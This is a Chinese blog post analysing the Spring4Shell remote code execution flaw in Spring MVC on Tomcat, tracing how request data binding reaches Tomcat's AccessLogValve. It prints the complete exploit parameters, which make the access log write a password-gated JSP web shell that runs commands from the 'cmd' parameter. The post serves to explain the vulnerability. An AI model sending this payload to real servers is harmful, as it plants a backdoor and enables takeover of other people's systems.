Spring框架最新的PoC

这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

  • 必须是jdk9及以上

  • 必须是部署在tomcat的应用

  • 是springmvc的或者webflux的应用

具体的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。

但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~

漏洞利用的原理

我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {String email = requestparams.get("email");String username = requestparams.get("username");model.addAttribute("data", "email:" + email + " username:" + username);return "index";
}

如果我们这么访问:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样:

image

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:

@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {model.addAttribute("data", obj.toString());return "index";
}

访问一下:

image

这说明了,springmvc框架帮我们做了一个很重要的事情:

通过我们请求的数据,转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步:到底构造了一个什么数据会引发呢?

跑的环境是:

  • jdk11

  • tomcat8.5.58

  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

image
@RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {}

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)

  • %i 这个语法是从请求的header里面拿xxx

就会在tomcat的Root目录下生成一个jsp文件

image

内容如下:

image

计息POC第二步:jsp文件是怎么生成的?

方法接收的class:HelloWorld,我这么传,spring框架是怎么来处理的呢?

image

根据HelloWorld的实例

结合传过来属性路径:class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的运用反射来去拿属性对应的值,这个例子的话就是

  • 调用HelloWorld的getClass() 拿到Class对象

  • 通过class对象调用getModule()

  • 通过Module调用getClassLoader()

  • 通过ClassLoader拿resources

  • context是Tomcat的StandardContext

  • parent拿到的是StandardEngine

  • pipeline拿到的是StandardPipeline

  • first拿到的是AccessLogValve

可以在下图所示设置断点:就可以看到上面说的每一步了

主角上场:

AccessLogValve是tomcat记录日志的,

  • pattern是日志格式

  • suffix是日志文件的后缀

  • prefix是日志文件的前缀

  • fileDateFormat是日期文件的时间格式

谜底揭晓

根据以上分析,我们知道,传过去的data由对象的class作为引子,然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作

经过对tomcat的处理请求的日志管道(AccessLogValve)的改写,导致当前请求会被触发记录日志,日志会按照我们想要的方式生成了一个jsp文件。

image

为啥是jdk9及以上版本呢,因为module的概念是从jdk9开始的~

为啥是得部署到tomcat里的应用呢,因为只有这样才会利用它的日志功能~

spring是咋修复的

image

我是正东,学的越多不知道也越多。一个漏洞引发的思考~收获挺大!

Spring4Shell的漏洞原理分析相关推荐

  1. cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析

    目录 1.漏洞背景 2.漏洞原理分析 3.漏洞测试 环境搭建 漏洞复现 4.修复建议 1.漏洞背景 Weblogic是oracle推出的application server,由于其具有支持EJB.JS ...

  2. log4j漏洞原理分析复现检测复盘

    凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...

  3. JAVA反序列化漏洞原理分析

    反序列化漏洞原理分析 从序列化和反序列化说起 什么是序列化和反序列化? 简单来讲,序列化就是把对象转换为字节序列(即可以存储或传输的形式)的过程,而反序列化则是他的逆操作,即把一个字节序列还原为对象的 ...

  4. 蓝牙App系列漏洞原理分析与漏洞利用

    蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...

  5. linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)

    shellshock漏洞原理分析(cve-2014-6271 bash漏洞) 2014-09-26 10:04:16 阅读:0次 概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造 ...

  6. 常见WEB漏洞原理分析

    一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...

  7. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  8. 'or'='or'经典漏洞原理分析

    'or'='or'漏洞是一个比较老的漏洞了,主要是出现在后台登录上,利用这个漏洞,我们可以不用输入密码就直接进入系统的后台.它出现的原因是在编程时逻辑上考虑不周,同时对单引号没有进行过滤,从而导致了漏 ...

  9. cve-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析

    目录 0x00 前言 0x01 漏洞简介 0x02 环境搭建 0x03 漏洞利用 0x04 漏洞机理 1.POC验证 ​2.漏洞产生原理和攻击思路 3.payload构建 0x05 危害分析和处理建议 ...

最新文章

  1. C语言单链表求环,并返回环的起始节点
  2. 优秀的代码都是如何分层的?
  3. Fedora 19配置KVM虚拟机的桥接网络
  4. 【javascript】—— JS判断浏览器类型、操作系统
  5. Java开发语句和代码块模板
  6. 锐捷EG易网关远程命令执行漏洞-1
  7. IBASE的hierarchy结构
  8. Filter(过滤器) 和 interceptor(拦截器)的区别
  9. To use CUDA with multiprocessing, you must use the ‘spawn‘ start method
  10. 使用Appium进行Android自动化测试遇到编译不成功的错误处理
  11. 《Spring揭秘》
  12. Flash 3D引擎收集
  13. php十六进制转为ascii,16进制转换成ascii_16进制转ascii码转换工具_16进制转ascii
  14. 解决svn报错 : The pristine text with checksum 'e006b124faa4ddf60d8773d1855e6bfa56145874' was not fou
  15. gradle 使用 exclude 解决jar包冲突
  16. 翟菜花:作为一个开发者 我为什么更看好搜索+小程序
  17. 支付宝转账到个人账户
  18. 莱赞多店管家分析Lazada印尼站点热卖商品,商家运营更轻松
  19. 火箭军计算机网络技术就业方向,计算机系统结构专业就业方向
  20. UART 波特率选择的认识与理解

热门文章

  1. 构建LAMP平台及应用系统
  2. 整理iOS9适配中出现的坑
  3. Linux下c/c++项目代码覆盖率的产生方法
  4. 推导坐标旋转公式(转)
  5. C/C++ 读取16进制文件
  6. 【编程好习惯】将常量放在“==”之前
  7. Exchange中的数据库文件
  8. 团队-中国象棋-最终程序
  9. Oracle中的USEREVN()
  10. 《Android开发从零开始》——25.数据存储(4)